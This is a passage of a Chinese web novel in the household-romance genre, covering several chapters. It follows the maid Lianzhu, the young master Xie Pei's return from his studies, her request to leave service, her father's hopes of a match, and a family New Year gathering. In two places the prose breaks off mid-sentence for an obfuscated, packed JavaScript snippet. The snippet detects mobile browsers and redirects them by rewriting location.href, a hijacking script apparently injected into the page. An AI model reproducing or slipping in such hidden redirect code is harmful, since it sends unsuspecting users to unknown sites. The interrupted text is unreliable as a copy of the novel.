连珠正神游天外，就听谢垚在自己耳边说道，她肩膀一颤，赶紧搁了毛笔起身行礼道：“少爷，让连珠一个丫鬟在这儿写字实在是僭越，连珠不敢。” 谢垚看她额脸低垂，方才升起的兴致忽而就散了大半，有些意兴阑珊地摆手道：“罢了，你去吧。” 那日书房写字之后，谢垚没再单独同连珠说过话，着实让她松了口气。 眨眼又是一年年关在即，半月里平江来的书信连珠接连收了两封，都是谢培写来的。 一封是说腊月十五就要动身，在平江买了一些特产礼品，只待回去送她。另一封则是加急来的，说是腊月十日就提前动身。 连珠本想着谢培此去平江一年时间，说不定就能将她忘了，可看书信来得频繁，这番打算恐是落空了。 她不由得有些担心，若是自己真将出府之事告知谢培，他可能答应？ 只是这府自己是非出不可，若谢培真不答应，自己也只能先哄骗了他将事情办成再说。 又过几日，府里年味渐浓，谢垚连日赴宴并不常在卧云居用饭。连珠向他讨了恩典，回家休息十日。 年底靳家父子要在店里盘账，连珠就在家中陪着范荣儿准备年节要用的物什吃食。 有连珠帮手，范荣儿轻松不少。 等这日连珠帮着炸了萝卜素丸子，又被范荣儿吩咐着去街上请人写些春联。 连珠笑道：“哪里还用请人来写，咱们家中现成不就有会写字的嘛！” “你说你爹？”范荣儿头摇得直晃，“他的字枯瘦，瞧着就不像有福的，拿来写春联没得叫人笑话。” “不是说爹。”连珠指指自己，将三少爷教写字，二少爷又劝勉练字的事说了，叫范荣儿听了精神振奋、红光满面，拍了手掌直呼女儿出息。 只是家中裁了红纸，就只有一支秃毛毛笔，连墨都没有。 “要不还是算了，单去买了划不来，还是请人写吧。” “那怎么行！”范荣儿听她学了写字，恨不得叫整条街的人都知道，哪里肯放过这个机会，“你去买，我给你拿钱去！” 连珠一把拽住她，想了想道：“娘，别拿了。我回府一趟，二少爷赏了我些笔墨，都是好的，拿来就能用。” 能省下一笔自然好，范荣儿催她快去。 连珠穿过后街给婆子看了卧云居的牌，从谢府后门进去。才拿了笔墨出来，绕到卧云居外的横巷。 她正要转身再往谢府的后门去，就听见身后有人叫她。 “连珠！” 39. 怎么不纳她为妾 一度春秋，眉眼还是那眉眼，站在那儿的竟像是换了个人。 连珠扭身瞧见谢培身量拔高了何止一截，就连那张面容也褪去最后一点孩童的圆润，线条分明起来。 谢培何尝不是在看连珠。 三更灯火五更鸡，读书的辛苦哪里及得上思念之苦。他对着孤灯想她眉眼低垂，想她素手研墨，那些画面翻来覆去，将他的心磨得又软又疼。 他看连珠盈盈一笑，胸口满溢的感情像是灶上煮沸的一口锅，蒸腾的热气翻江倒海，顶起盖子又回落嚓响“啷当”一声，震得他心跳漏了一拍。 他朝连珠走去，只是几步路却比平江到延州还要走得山高水长。 “连珠。”谢培在她身前站定，两个字在舌尖绕过千百回，念来依旧缱绻动人。 谢培私心里涌出那些说不清道不明的感情，连珠却还没忘了规矩，她敛衽行礼，庄重得像是一尊座上观音，不可亲近。 如此疏离，浇灭谢培一腔热血。片刻后又见连珠抬眼看他，声音依旧轻得像一阵旋过他心窝的风：“怎么提前回来了，书读得累不累，身子可还好？” 谢培愣了愣。 不过两句简单的话从连珠嘴里说出，又将那将熄的火苗拢出耀眼的红来。 “都好。”他答得急不可耐，又往前走了一步，想去拉连珠的手，“就是...” 他想说日日想她，但看连珠侧身躲了他的手，又把这话给咽了回去。 谢培仔细描摹她的面容，关切地问：“你呢？” 连珠也道：“也是一切都好。” “二哥为人正直，又极有能力，你在卧云居倒是比清月阁还稳妥些。原本还担心我不在府里，你那柔和性子说不得就要被人欺负，现在有二哥庇护着，我也能放心。” 谢培说得真心实意，让连珠刻意板着的面容有一二松动，听他话里意思，似是还要走。 “怎么，这次回来，还要去平江不成？”连珠问。 按理说谢培过了乡试前的科考，还拿了第一等的资格，该是要下场参加乡试的。可沈夫之看中他才情，又怕他少年成名，过刚易折，要压他两年再下场。 谢培闻言摇头，终于找到了情绪的突破口，一气儿道：“不是去平江。老师定了年后要带我去陵阳，拢共在家就待这么点时候。好容易回来，你却生人似的避着我，礼也行得那样周全。” 他越说越露出几分委屈，目光灼灼地盯着连珠：“我日日惦记着回来，你倒好，见了我只想着走。” 谢培如今人高马大，这句话活脱脱是个受了委屈的孩子，叫连珠忍俊不禁，噗嗤一声笑了出来。 她面如春桃拂脸，眸清可爱，让谢培怔怔地呆在原地，痴痴地看。 谢培看得挪不开眼，却没注意到前头廊下竟也有人盯着墙拐角的两人。 顺心跟着谢垚从守备勋臣襄城伯的府里回来，过了三道门，在廊下走着远远地就瞧见卧云居的院墙根儿那儿站着两个人。 顺心眼尖，一眼认出那温柔浅笑的女子是连珠，那男子背身站着看不清面容，但决计不是冬生！ 这美人可真就是香饽饽，顺心这般想着脚下没停，还想上前看个热闹，走了两步才发觉自己越过了少爷。 谢垚不知什么时候慢了脚步，目光落在桂树下的男女。隔着疏疏落落的树影，看那女子微微仰着脸，眉眼弯弯。 画面熟悉，好像他从前也看过，他当时只道是情真意切。但现下看来，却莫名生出些旁的念头，有些碍眼。 连珠正要说话，眼角余光就看见谢垚领着顺心走来，她赶紧行了一礼：“二少爷。” 谢培见了连珠的举动，转身朝着谢垚也招呼道：“二哥。” 谢垚看着眼前的堂弟，羸弱的少年两年时间已是成人。当初眼底倔强又掩不住怯弱的少年，现在目光清正、姿态从容，早不是那时需要寻人依附的模样。 谢垚视线微移，又看连珠容色娇艳，嘴角还噙着笑，竟是从没看她在自己跟前这样笑过。自己亲择了那么多赏赐下去，要是别人早乐开花了，偏她宠辱不惊，神情木然，好像看不上眼。怎么今天见了谢培就这样开怀，难道真就情意相通，她... 一时思绪纷杂，谢垚想到这里竟说不上来的堵了一口气，挑了眉头又恢复往常平静的表情，看向谢培淡然道：“回来了，一路可还顺利？” “平江到延州是常路，自然顺利。”谢培也注意到谢垚瞥向连珠的目光，提步将连珠护在身后，“二哥，这丫头从前跟在我身边伺候笔墨，是我自个儿寻过来，你可别怪她。” 谢垚闻言嘴角浮了笑意，倒看不出深浅：“这是人之常情，我怪她做什么。” 他说着，目光越过谢培，落在连珠身上：“不是请了假要家去，怎么还在这儿？” 那话中分明是撵人的意思，连珠忙福身退了两步，转身就走。 谢培张张嘴，想喊住连珠，说一会儿再去找她。话到嘴边，见谢垚还在身侧站着，又生生咽了回去。 这番依依不舍全让谢垚看在眼里，堵着的那口气依旧不散。他顿了顿才转而对谢培笑道：“何时回来的？来，进屋去。” 谢培撩袍跟着谢垚进了院内，含笑道：“晌午刚到，带了些平江的特产让金环给二哥送来。” 晌午刚到，就急着来寻连珠。谢垚引了人在桌边坐了，涧蓝已经将茶端了过来。“怎么这般客气。” “孝慈友恭，德也，自不敢忘。”谢培接了茶放在桌上，又朝谢垚拱手。 谢垚拨了茶盖，透着氤氲的热气看他。他一眼瞧着谢培话未说尽，果然谢培又道：“二哥，我还有一事相求。” 谢垚端着茶盏的手微微一顿，抬起眼皮看他：“哦？” “我这番回来，待不了几日，先去陵阳又改道平江，前后算算，又是一年光景。”他斟酌着字句，“二哥刚刚也见了，刚刚那丫头，叫连珠的从前在我身边伺候，情分不比寻常，人瞧着伶俐，却是个老实愚笨的，受了委屈也攒在心里，不知为自己争个高低。我是想请二哥，帮着看顾一二，倒不用费什么心思，只叫这丫头不伤着，平平安安的就好。” 谢培原不打算说这些，可一回来就着金环打听到连珠在卧云居被泉黛欺压的事。方才他细看连珠，人瘦了不说，那手上平添了几道伤，他怎么还能忍得住。 谢垚漫不经心地端了茶碗，目光却落在谢培脸上，像是在打量趣儿，忽地轻笑一声：“我当你如此郑重，求的事学问上的事，怎么竟是为着一个丫鬟？” 谢培脸上微微一红，却不躲闪，只垂下眼，语气却认真起来：“学问是靠自己，恩师、机遇我都有了，那些事不劳人费心。至于连珠...” 连珠总是不一样的。 谢垚没说话，只慢慢呷了口茶，垂眸不知想些什么。 “我同二哥说句实话，你我皆失恃，可境遇大为不同。我身边独连珠一个真心相待，我便也待她真心。” 谢垚看他说起连珠一腔真情，恨不能掏心掏肺，只觉得牙口发酸。片刻后，才莫名咬了牙，问：“既如此，怎么不纳她为妾，日日守着才算安心？” 却说另一边，连珠没料到只是回来拿个笔墨就撞上这两位爷，情紧事忙，自己也顾不上和谢培说几句话，自然没功夫将出府的事说予他听。 左右谢培也不是即刻就走，总能寻个机会。如此想着连珠便揣着东西快步回家。 范荣儿见了就问怎么去了那么久，连珠随意找了借口带过这话，铺陈红纸动笔。连着写了几张，那字端方大气，给范荣儿看得心生欢喜，当下就拿了浆糊要贴到门上。 连珠怕她爬高不安全，自己搬了条凳到门口去贴。 她踮脚踩上去，正拿手压着红纸比划。风一吹，纸便簌簌地动，她刚抹了一处浆糊，脚下凳子不知怎的晃了晃。连珠赶紧将身子往前倾，扶住门框稳住身形，浆糊罐子却险些脱手。 下一瞬，手臂被人牢牢攥住。那力道不轻不重，稳稳地托住她。 连珠一怔，低头看去，正对上一双熟悉的眼睛。 谢培不知何时站在凳旁，一手扶着她，眉头微微皱着：“怎么这么不小心？” 谢培接过那浆糊罐子，另一只手却没松，扶了连珠从凳上下来才转而去拿了没贴的下联，踩上凳对着上联的高度贴了。 贴完，谢培低头看向连珠，嘴角弯了弯：“歪了没有？” 连珠笑道：“都贴实了才问我，若歪了还能撕下来不成？” 谢培从凳上跳下来，看了看贴得还算不错，目光又落回连珠面上，像是看不够一样。 连珠被他看得有些不自在，找了话来问：“三少爷怎么来了。” 谢培这才收回目光，笑道：“给你家里带了东西。” 说着，他朝身后的金环一打手势，跟着两个人抬了一只沉甸甸的篓子。 竹篓放在门口，连珠低头一看，只见里头满满当当的，是些干贝、虾米、鱼鲞一类的江湖海货。 “这些都是平江那边的特产。”谢培站在一旁，“你爱吃鱼，新鲜的不好带，只能将就带了这些回来。” 谢培觉得一年不见连珠和他生分不少，他心中难过，既怪连珠也怪自己。只是难过之后，还费劲巴力地将早备好的东西送来，盼着她能再对自己笑一笑。 连珠见他这样用心，铁石心肠也硬不起来。她正要开口，房门一开，范荣儿打眼瞧见这么个身着绸缎的少爷，反应过来，仿是真佛入门，叠声地往里面请：“三少爷！您怎么有空过来，快屋里请！”说着，又瞪了一眼连珠，怪她不知轻重，竟让谢培在风里站着。 范荣儿满脸堆笑，将谢培请到正屋，又拿了瓜果点心，戳了连珠的腰殷勤着让她去倒茶。 “不必忙，让连珠歇歇。” 范荣儿还没转了脑筋，腆着笑：“她成日歇着，倒个茶累不着她。” 金环听了这话在后头扶额苦笑，拉了范荣儿的手往外去：“大娘晚上可准备了什么菜，怕是三少爷要留饭呢！” 范荣儿闻言一拍脑门，忙跑到厨房里忙活去了。 连珠见金环打发走范荣儿，又合了房门在外头站着，屋里只有两人，谢培又一个劲地望她，让她脸上染了绯色。 谢培看她转身又要走，起身就拉了连珠到自己跟前：“怎么又要走，我还没好好看你。” 连珠万没想到谢培这样大胆，愣了原地一时竟不知如何接话。 屋里寂静，谢培偷瞧了连珠泛红的面颊，心中一喜，从袖口摸出个细长雕花的木匣：“我还有东西没给你。” 连珠打开一看，里头泛着粉光的满串珠链，莹莹生辉。 “平江多蚌珠，这串是从一船里头优中选优的上品，颗颗圆润，又洁白无瑕，是我特意命人挑的。”谢培说着就要拿那珠链给她带上，嘴里还道，“你瞧我对你这样好，若你有良心就不该躲着我。” 谢培这几年也算是连珠一手带大，衣食住行没有不尽心的。刚落在这副身子，她也将对谦哥儿的感情倾注于谢培，这份感情早揉不开掰不碎分不清了。 故而对着谢培的一些出格之举，她才能诸多忍让，气都生不起来。 连珠侧身让了，口中笑道：“呸，让你去平江是读书的，你对珠子上心做什么？” 谢培想说自己不是对珠子上心，而是对她上心。只是这话想着就肉麻，叫他一时说不出口。 又静了一阵，连珠心道，此刻时机正好，便求上一求，让谢培答应了自己出府的事。 她轻声开口：“你既说对我好，那我有一事相求，不知你答不答应。” 谢培听了连珠的软话，早就喜上眉梢。莫说求，只要连珠张口，他哪有不应的。 “你说。”他笑着将凳子挪得离连珠近了一些。 “这事说大不大，说小不小，左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273731|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是跟我自己相关的事。”连珠看了眼谢培，缓缓道，“我想赎身出府。” 她声音不大，落在谢培的耳朵里却如春雷惊天地，脸上笑意霎时便僵住了。 “出府？怎么突然想出府？”谢培说着身子不自觉往前探了探，追问道，“可是有人欺负你了？” “不是，哪就那么多坏人了。”连珠摇头，“你也别多想，不过是我当初年纪小不懂事，听人说进府能见世面，能过好日子，便一门心思地想来。如今待了几年，见也见了，过也过了，回头想想其实也没什么意思。” 她停了一阵，又道：“再者，我娘身子一直不大好，我想着，若能出府多陪陪她，伺候她几年，也算尽了做女儿的本分。” 若只为这些缘由，倒也不是不可。 谢培沉声琢磨，他本想着乡试过了，有了功名在身，便将连珠收在房里，慢慢抬举。可沈夫之要压他两年，话里话外还动了招他为孙婿的念头。沈家清贵，诗礼传家，若能结亲，于他前程大有裨益，沈夫之也会更用心地栽培。只是这样，便断不能在婚前纳妾。 如此，要让连珠在府中再待两年，实在也是委屈。 罢了，既然她不快活，出府也不是不可，日后再以良妾的身份抬她进府也就是了。 如此想着，谢培看向连珠，忍不住又去勾她的袖：“好，你说了，我就没有不应的。” 连珠没想到这事这么容易，喜道：“真的！？” “我还能骗你不成？”谢培见她唇角轻扬、明眸含笑，似是被感染，也胸腔震动笑出声来，“只一点，我在延州这几日，你可不能忙着出府的事，要好好陪陪我。” 两人正说着话，就听见门外院里传来靳九一声吼，唤了范荣儿婆娘，又大声道：“快出来搭把手，前头住的冬生小子送了两只鸭！” 范荣儿正在厨房汆丸子，听见自家男人没轻没重的，生怕惊扰了房里的三少爷。两只手往围裙上一擦，着急忙慌地就往外赶。 “什么事值当你这样大声，没得打扰了贵人！” 屋门口范荣儿没好气地一拍靳九宽厚的背，疼得人龇牙咧嘴恼道：“我平日里不都是这样说话，惊扰贵人，哪里来的贵人？” 范荣儿一手一只抓了鸭脖颈儿，朝着屋里努努嘴：“三少爷来了，正屋里坐着，你快去见个礼。” 靳九先是愣了，又惊喜道：“三少爷临门，你怎么不早说！” 话一落也不等范荣儿再答，脚下生风九往里屋奔去。 “三少爷安！三少爷安！”靳九进屋一眼就瞧见当中坐着一仪容俊美的青年，狐裘皮的大氅随手耷在旁边的椅背上，自己家里两辈子都没进过这样华贵的东西，他弯腰鞠躬，两手拱着恨不能垂到地上，脸上笑开了一朵花，“三少爷贵客临门，家里也没个好茶招待。连珠，去把我房中柜子里的茶叶给三少爷拿出来！” 靳九风风火火，全没了往日在女儿面前端着的架势。谢府主子能亲自临门，是多大的荣耀，更遑论谢培如今还是文曲星在世，就是让他沾沾福气都是好的。 谢培也不见罪他如此唐突，只笑笑道：“靳大叔，别忙，我只是来看看连珠，没得还让她添累。” 一句话字字维护连珠，范荣儿脑筋转不过来，靳九却是眼皮上下一掐心中有了计较，咧着嘴道：“是，连珠这孩儿我们自小娇养，必不会让她累着。您坐着，让连珠陪着说话，我去拿，我去拿。” 说了，他又鞠了两躬，掀了帘子往里屋去。 连珠见不得靳九在谢培面前这般伏低做小的姿态，眼波流转瞪了谢培一眼：“瞧，你来着一遭兴师动众的，倒叫我爹娘全围着你转。” 谢培看她难得这样生动姿态，虽是嗔怪的话，但听来心中似裹了蜜一般，甜津津的。半晌，才傻笑着顺着连珠的话将罪都揽在自己身上：“好，怪我怪我。” 晚膳，谢培是留在靳家用的，一桌子丰盛，范荣儿使出全副力气足足做了十个菜。 只是对着主子拘束，靳家夫妻一对没吃多少，谢培也早早地停了筷子。 不必谢培开口，靳九便拿了披褂让连珠送人出去。 靳九和范荣儿跟着送到门口，又见金环折返回来，对着靳九深鞠了一躬：“靳大爷，劳烦问一问，方才您拿回来的鸭子可是大老爷跟前做事的小厮冬生送的？” 靳九闻言眼珠一转，摸了胡须道：“是，正是他，他爹和我有几分交情，才送了东西过来。” “原是如此，多谢靳大爷。” 金环问得了，转身又赶着去追谢培。 范荣儿在旁听得一头雾水，扯了靳九过来在耳边问：“你胡说什么，那冬生的爹哪里和你有什么交情。再来，你不是说是冬生看上了珠姐儿，才对着咱们殷勤？” 靳九捻着一小撮胡须，得意地摇头叹道：“糊涂，三少爷来这一遭你还没看出来！” 范荣儿瞧他满面春色，大吃一惊道：“你是说，三少爷对咱们连珠有意？” 靳九拉过范荣儿的手，在她手背上重重拍了一下，笑盈盈道：“对咯！你啊，镇日说自己比我聪明，在这事上头倒不如我了！” “那你又说冬生...” 靳九道：“我之前是看冬生不错，亲爹又是大老爷跟前的管事，自己也有些前途。但和三少爷一比，就看不上眼珠子了，我当然要在金环面前遮掩一二，总不能叫三少爷起了误会。” 范荣儿见他兀自得意，偏想起连珠之前跟自己说的出府的事，担忧道：“你自个儿在这儿做主，也不知珠姐儿乐不乐意。再说，她前儿还跟我提了，想赎身回家来，指不定她没这个意思呢？” “糊涂糊涂！”靳九瞪圆了眼睛吹着胡须甩手往院里去，“她胡闹你也跟着胡闹？好容易爬上二等丫鬟的位子，在主子跟前得脸了倒要出府来，前头那些苦都白吃了！婚姻大事由来父母做主，三少爷能看上她，那是她的福气，她还能不愿意！” 40. 都给误了 临近除夕，便是谢府后街也早被小摊小贩将路两边挤得满满当当，一直挤到十字街口。 卖花炮、门神、灯笼年画的，一家挨着一家，红艳的颜色晃得人眼热。卖吃食的更是热闹，热气从锅边蒸腾起来，裹着肉香油香，顺着风往人鼻子里钻。 灯火连成一片，谢培脚步慢了半刻，等连珠走到自己身侧，才凑了去说：“可想吃什么？方才看你在桌上就只盯着面前的两盘菜，猫一样地没吃多少，我回来就见你瘦了。” 灯笼火红的光映得连珠耳面通红，她暗想，这小子年纪不过才长一岁，怎么胆子竟比春天的笋冒得还快。方才在家里要给她夹菜不算，这会儿在谢府后门还靠她这般近，不怕叫人看见传出闲话来。 连珠向右跨了一步，和谢培拉开距离，又见金环从巷子里追上来，正在后头十几步的距离犹疑着踱步不敢近前。连珠看了好笑，远远冲着金环招手：“你主子都要回府了，还不跟来。” 金环一门心思被连珠点破，嘿嘿笑着上前呐呐不语。 谢培今儿和连珠说了不少话，又一桌吃饭，虽是念念不舍，但心中也是极畅快的。他一拢连珠身上的披褂，替她挡了北向的罡风，也不理金环在左近站着，低头温言软语：“天冷，你便送到这儿早些回去。说是除夕当夜城里有灯会，到时你寻个借口出来，我带你去看热闹。” 连珠闻言瞪了谢培一眼，余光瞥见金环眼观鼻鼻观心地低头，小声嗔道：“去了平江也不知学的什么，竟还教我撒谎来诓人，我不去。” 谢培听她不去也不恼，沉了声音哄道：“去吧，听说请了徽州府的百年鱼王灯来舞，是难得一见的好景致。你成日闷在府里，哪有年轻轻的姑娘家不爱热闹的？” 他见连珠还不说话，又故意抬高了声音：“好啊，若你不去，我就亲自去你家请了，谢家三少爷亲自开口，你爹总不会不答应。” 连珠没想到他张口说出这样无赖的话，双目圆睁瞪了他，半晌才蹦出两个字：“你敢。” 连珠哪在谢培面前露出过这样威势凛然的模样，好似露出肚皮龇了牙的奶猫，叫人想揽在怀里一顿亲昵。“好，我不敢，快去吧。等除夕晚，我让金环来接你。” 谢培说着轻揽了连珠的肩，带着她转身，瞧她身隐在巷口的阴影里才长舒一口气。 金环偷瞧了自家少爷，寻了个机会才开口：“少爷，我方才问了，靳大爷说的就是大老爷院里的冬生。” 谢培面色一沉，先前依稀听见冬生这两个字，他心中就画了个疑。没离延州之前，就知这个叫冬生的小厮癞蛤蟆想吃天鹅肉，没成想这会儿竟还是贼心不死，都追到了家来。 他先前被连珠一笑，哄得昏了头，浑忘了连珠生了一副美人相貌，藏在府里明珠蒙尘还被人惦记着，要是真让出了府，还不知道要招来多少狂蜂浪蝶。 若自己在延州还能时时看顾，偏自己兼顾不得。 金环瞧着谢培面上阴晴不定，自是清楚他心中打算：“少爷，您真应许了连珠姐姐出府？” “你耳朵倒灵。” 金环嘴快，想起这话是少爷同连珠在房中说的，挠挠耳朵，憨笑道：“不是奴才耳朵灵，是风把话吹到奴才耳朵里。少爷，连珠姐姐人才出众，又是适婚的年纪，要是真出府叫人看上了，您在外头可是鞭长莫及啊！” 金环说的何尝不是谢培心里担忧。 一阵风来，吹得身边摊上支起的灯笼在谢培眼里有火光一闪，他朝金环招手：“附耳过来。” —— 除夕当日，靳九、靳连玉不必再去铺子，一家子白日将屋子里外打扫干净，就忙活起晚上的饭菜。 靳家两父子劈柴烧火，连珠母女两个掌勺切菜，掌灯时分，桌上大盘小碟已摆满了热腾腾的菜肴。 炉子上温了一壶黄酒，连珠给父母兄长各斟一杯，又给自己浅倒了半杯。 靳九端起酒杯，脸上被屋里的热炭烘出红晕，咧嘴笑道：“咱们一家好容易在一块吃饭，一齐喝一个。” 瓷杯相碰，桌上响出些欢快的笑声，夹菜的、倒酒的，小小的堂屋热闹起来。 靳九喝得痛快，话也多了，说起面前这一盘熏鱼，夸道：“亏了珠儿，不然大冬天的咱们哪里来的鱼鲜吃。也是三少爷看中，你可得好好谢了三少爷。” 前儿靳九在连珠面前就隐晦问了三少爷可是对她有意的话，惹了连珠羞愤不快。范荣儿听他又提起这事，拧了眉头打岔：“有的吃你就吃吧，菜都堵不住你的嘴。” 连珠知道靳九见谢培有意，就恨不能将自己送上门去。他念着这是个好归宿，自己虽不这么想，但也不至于在年节的好日子同他争辩，只当没听见这话，一个劲地给范荣儿夹菜。 靳家前头那条巷弄住的都是谢府得势的奴才，家中很有些余财，炮仗烟火放了两轮还没歇，照得半边天都亮了。 连珠吃着吃着，目光便不自觉地往门口飘。 范荣儿给她添汤，也没留意，直到碗边被碰了一下，才回过神来。 “看什么呢？是不是饱了？” 连珠哪里好说是怕金环来找她，只垂了眼低头喝汤。 “可是听说今晚城里有花灯，想去凑热闹？”范荣儿又问，“要真想去，就让你哥哥陪着，外头人多，你一大姑娘家的要小心。” 靳九皱眉不乐意：“除夕夜不和家人一起，出门做什么！” 范荣儿一杵他胳膊，还要说话，却见连珠摇摇头：“娘，我不去。” 连珠这时候哪里好出门，等金环来寻不见自己，怎么交代呢？ 她喝完半碗汤，便拿了范荣儿平日没做完的针线帮着绣了两朵花。 等炮竹声渐密又淡下来，靳九也放了筷子，收拾了碗筷，院门一直没响过。 靳家没有守岁的习惯，差不多到了时间，靳九便起身回房睡了。范荣儿按了连珠绣花的手，也道：“夜深仔细伤眼，你平日都要早睡，今儿怎么还不回房？” 连珠看看外头夜凉如水，应了一声。 这么晚了，想来金环也是不会来了。 她洗漱完又吹熄屋里桌上的油灯，一下子暗了，只有窗纸上映着外头零星的光。 她躺在床上，自己也真的是傻了，想想也知，这阖家团圆的日子，谢府都是要做大宴的，谢培难得回来，哪里能偷偷溜出来带她去看什么灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284585|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢？ 也好，本就打算出府之后，再和谢家无甚牵连，何苦要一起看灯，不过之后徒增伤感。 她在黑夜里躺了许久，等眼前模糊了，才渐渐睡去。 翌日一早，清月阁里早早地就有了动静。兰儿给谢培端去洗漱的热水，又唤来金环。 “昨儿你怎么也不拦着我，说好了要带她去看灯，竟是都给误了。”谢培一边披了外袍系了腰带，就对着金环一阵埋怨。 金环低头受训，哪里敢回嘴。昨儿夜里，劝酒的是三老爷，他一个下人怎么好拦，更何况宴席散的时候都已经二更天，那花灯早都散了。 “走。” 谢培领着金环就往院门走，半途却听金环道：“少爷这一大早可是去靳家？今儿是初一，按理说该去和大老爷大夫人拜年的。” 谢培闻言脚步一顿。 是了，他清早酒醒，头脑还混沌着，全然忘了这茬。他心中不敬父母，但面子上总还是要过得去。 “那就先去暮香堂。” 说着，谢培调转方向，往暮香堂去。 金环在后头跟着，心里暗暗松了口气。少爷这一年在外历练，做事愈有章法，可一沾上连珠姑娘的事，就什么都顾不得了，幸好自己还有提点着。 一路院墙边都挑挂了大红灯笼，等到了暮香堂内，年节的陈设装饰更是不一而足，红烛高烧，果品满案，熏得满室都是檀香混着果子的甜气。 谢培到的早，在椅上坐了，喜和叫屋中伺候的小丫鬟立马上了一杯西山白露。谢培环顾一眼屋内，余光瞥见西间有个偻身的老妪，瞧侧脸倒像是白芍的娘。 听闻白芍被谢渊赶出府后，大病一场，又被亲爹嫌弃丢了脸面，包袱一裹将她嫁去了外地。庆和最疼幺女，白芍嫁得如此不体面，临行前又哭喊大闹一番，耗她心神，叫她夜不能寐，人瘦了不说，一年时间竟像是老了十岁。 不多时，谢渊从后堂转出来，见谢培端端正正坐着，脸上浮起一丝笑意：“培儿来得早。” 谢培忙起身，撩袍跪下，郑重叩首：“儿子给父亲拜年。愿父亲新春如意，身体康健。” “好。读书患不多，思义患不明。这几年你读书进益，我瞧着连带为人处世也愈发沉稳练达，着实令为父欣慰！” 他正要再问几句，却是袁英华带着丫鬟进来。 谢培忙又上前行礼：“儿给母亲拜年。” 袁英华强堆了笑，上前殷切将谢培扶起来：“快起来，快起来。还在里屋就听见老爷夸赞，这都是沈大儒的好教导，多少人求也求不来的福气！” 话是好话，袁英华心中却是酸的涩的搅在一起。 一个庶子，倒让谢渊比自己亲生的嫡子还要上心。 可转念一想，坤儿也考上秀才，有她筹划着，未必就比旁人差，心里又略略舒坦了些。 谢渊不耐烦听她说话，挥手让谢培坐下，又道：“让人上些瓜果点心，也不至于在这儿干坐着。” “好好好，小厨房里有赣南来的甜橙，我让人切了端上来。” 话音刚落，袁英华还没吩咐，就听门外春蝉一撩帘子道：“夫人，表姑娘来了。” 41. 长得美又如何 暮香堂门口。 赵静柔身着水粉色袄裙，下穿烟霞色曳地马面裙，裙门绣宝相花。头梳灵蛇髻，顶簪是赤金累丝衔珠的蝶钗，侧边斜插三支珍珠发梳，抬手间腕间一双赤金白玉镯叮啷作响。 她身后跟着个素面灵秀的丫鬟，一双手拢在袖子里，冻得鼻尖发红。 等春蝉通传后，掀了帘子请她进去。 帘子刚落，赵静柔的目光就在屋里转了一圈，屋里熏香铺面而来，仿若云端一般。 延州谢家的气派，进府第一天她就领教了。不说正经主子们的院落，就是她住得临水榭也是小而精巧，陈设华美，非一般人家可比。 抬头间赵静柔就换了张喜人的笑脸，对着谢渊和袁英华行了一礼：“外甥女静柔，给大舅父、大舅母拜年。愿舅父舅母万事顺意，岁岁安康。” 谢渊对这个表外甥女倒无甚感情，但到底是一家亲戚，神色比方才对着袁英华时和缓了些：“起来吧。” 袁英华也伸手虚扶一把：“快起来，坐吧。” 赵静柔起身，理了理衣裙，在左侧的楠木交椅上坐下。她来时，只袁英华设宴迎了她，而后两次来暮香堂也只见了大表兄谢坤。二表兄建寺事忙，表弟则在平江念书，都不曾得见。这会儿抬眼瞧见对座坐着一少年，身姿端正，眉目清朗，想来便是自己那位文曲星转世的表弟了。 她心里暗暗打量，早听说这位庶出的少爷读书读得好，将来必成大器。原以为是个只知道死读书的呆子，如今一见，竟生得这样一表人才。 谢渊开口指着谢培介绍道：“这是你表弟，谢培。” 谢培目不斜视朝赵静柔点了点头，唤了声“表姐”，便又盯着自己面前的茶盏，再无多话。 赵静柔笑应了，又逢丫鬟端了甜橙点心进来，袁英华正要招呼人用点，门外又传来脚步声。 当先进来的是谢坤，身后跟着袁荣娘，怀里还抱着穿得圆滚滚像只红灯笼的铃姐儿。 赵静柔极有眼色，欠身就给表兄表嫂行礼。再起身的时候，忽觉门帘没落，又进来一位身强体魄、风流俊逸的男子。 她目光一下定住，脸色潮红，登时便猜到这文雅俊秀的男子是二房那位有了官身的表哥。 谢渊招呼几人坐下，又说了几句家常，便让袁荣娘抱了铃姐儿来逗弄。 谢坤坐在谢培谢垚之间，一个在学问上压制他，一个于官身上压他一头。 这年拜得好没意思。 他拿了一牙儿橙，吃了两口随手扔在一边，目光百无聊赖地在屋里转了一圈。转着转着，便落在了赵静柔脸上。 他见了这位表姑娘两次，生得不算顶美，但别有一股风情，倒有几分意思。 他瞧得肆无忌惮，不光让赵静柔察觉，也叫袁荣娘看在眼里。 她舍下铃姐儿交到袁英华手里，疾步走到谢坤跟前，挡了他的视线，低声怒道：“在院里还没瞧够，来了爹娘这儿还管不住你这双招子。” 孕时，袁荣娘怕谢坤玩得心野，将自己贴身丫鬟给了他。谁知自己才刚生下铃姐儿，他又拉了个丫鬟进房。现在，竟然连自家亲戚都不放过，巴巴地盯着，怕人不知道他一肚子花花肠。 谢坤看她在人前教训，如此不给自己脸，面色一沉也反口骂道：“你胡吣什么？我不过是往那瞅了一眼，你就编排出一车话来！大过年的，非要在爹娘跟前闹得大家不痛快，你安的什么心？” 两人都压着声音，上头坐的谢渊听不真切，但也知是小夫妻两个闹了口角。如此不合时宜，真是不知轻重，当下就有了气作到面上。 